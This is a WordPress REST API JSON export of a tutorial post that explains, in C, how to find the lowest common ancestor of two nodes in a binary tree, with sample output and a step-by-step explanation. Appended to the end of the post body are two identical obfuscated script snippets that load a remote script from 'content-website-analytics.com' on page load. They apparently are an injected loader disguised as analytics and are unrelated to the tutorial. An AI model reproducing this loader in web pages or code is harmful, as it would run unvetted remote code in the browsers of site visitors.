{"id":710,"date":"2024-10-19T13:53:00","date_gmt":"2024-10-19T08:23:00","guid":{"rendered":"https:\/\/codexplained.in\/?p=710"},"modified":"2025-11-24T15:33:04","modified_gmt":"2025-11-24T10:03:04","slug":"find-lowest-common-ancestor-in-binary-tree","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=710","title":{"rendered":"Find Lowest Common Ancestor in Binary Tree"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\n\/\/ A binary tree node has data, a pointer to the left child, and a pointer to the right child.\nstruct Node {\n    int data;\n    struct Node* left;\n    struct Node* right;\n};\n\n\/\/ Utility function to create a new node.\nstruct Node* newNode(int data) {\n    struct Node* node = (struct Node*)malloc(sizeof(struct Node));\n    node-&gt;data = data;\n    node-&gt;left = NULL;\n    node-&gt;right = NULL;\n    return node;\n}\n\n\/\/ Function to find the LCA of two given nodes n1 and n2.\nstruct Node* findLCA(struct Node* root, int n1, int n2) {\n    \/\/ Base case: If the root is NULL, return NULL.\n    if (root == NULL) {\n        return NULL;\n    }\n\n    \/\/ If either n1 or n2 matches with root&#039;s data, return the root.\n    if (root-&gt;data == n1 || root-&gt;data == n2) {\n        return root;\n    }\n\n    \/\/ Look for keys in the left and right subtrees.\n    struct Node* leftLCA = findLCA(root-&gt;left, n1, n2);\n    struct Node* rightLCA = findLCA(root-&gt;right, n1, n2);\n\n    \/\/ If both leftLCA and rightLCA are non-NULL, then one key is present in one subtree\n    \/\/ and the other is present in the other. So, this node is the LCA.\n    if (leftLCA &amp;&amp; rightLCA) {\n        return root;\n    }\n\n    \/\/ Otherwise, check which side has a non-NULL value and return it.\n    return (leftLCA != NULL) ? leftLCA : rightLCA;\n}\n\nint main() {\n    \/\/ Let&#039;s create the example binary tree mentioned above.\n    struct Node* root = newNode(3);\n    root-&gt;left = newNode(5);\n    root-&gt;right = newNode(1);\n    root-&gt;left-&gt;left = newNode(6);\n    root-&gt;left-&gt;right = newNode(2);\n    root-&gt;right-&gt;left = newNode(0);\n    root-&gt;right-&gt;right = newNode(8);\n    root-&gt;left-&gt;right-&gt;left = newNode(7);\n    root-&gt;left-&gt;right-&gt;right = newNode(4);\n\n    int n1 = 5, n2 = 1;\n    struct Node* lca = findLCA(root, n1, n2);\n\n    if (lca != NULL) {\n        printf(&quot;LCA of %d and %d is %d\\n&quot;, n1, n2, lca-&gt;data);\n    } else {\n        printf(&quot;LCA of %d and %d does not exist.\\n&quot;, n1, n2);\n    }\n\n    n1 = 6, n2 = 4;\n    lca = findLCA(root, n1, n2);\n\n    if (lca != NULL) {\n        printf(&quot;LCA of %d and %d is %d\\n&quot;, n1, n2, lca-&gt;data);\n    } else {\n        printf(&quot;LCA of %d and %d does not exist.\\n&quot;, n1, n2);\n    }\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h2 class=\"wp-block-heading\">Output Explanation<\/h2>\n\n\n\n<p>The program creates a binary tree as shown above and finds the LCA of different pairs of nodes:<\/p>\n\n\n\n<p>Output<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>LCA of 5 and 1 is 3\nLCA of 6 and 4 is 5\n<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>For nodes 5 and 1<\/strong>: The LCA is <code>3<\/code>, as <code>3<\/code> is the first common ancestor node for both.<\/li>\n\n\n\n<li><strong>For nodes 6 and 4<\/strong>: The LCA is <code>5<\/code>, since <code>6<\/code> and <code>4<\/code> are both descendants of node <code>5<\/code>.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">How It Works<\/h2>\n\n\n\n<ol class=\"wp-block-list\">\n<li>The function <code>findLCA<\/code> is called with the <code>root<\/code> node and the values <code>n1<\/code> and <code>n2<\/code>.<\/li>\n\n\n\n<li>It checks if the current node matches either <code>n1<\/code> or <code>n2<\/code>.<\/li>\n\n\n\n<li>If not, it recursively searches both the left and right subtrees.<\/li>\n\n\n\n<li>If one node is found in the left subtree and the other in the right, the current node is the LCA.<\/li>\n\n\n\n<li>If both nodes are in the same subtree, that subtree&#8217;s root becomes the LCA.<\/li>\n<\/ol>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Output Explanation The program creates a binary tree as shown above and finds the LCA of different pairs of nodes: Output How It Works<\/p>\n","protected":false},"author":40,"featured_media":716,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-710","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/710","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/40"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=710"}],"version-history":[{"count":3,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/710\/revisions"}],"predecessor-version":[{"id":1389,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/710\/revisions\/1389"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/716"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=710"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=710"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=710"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}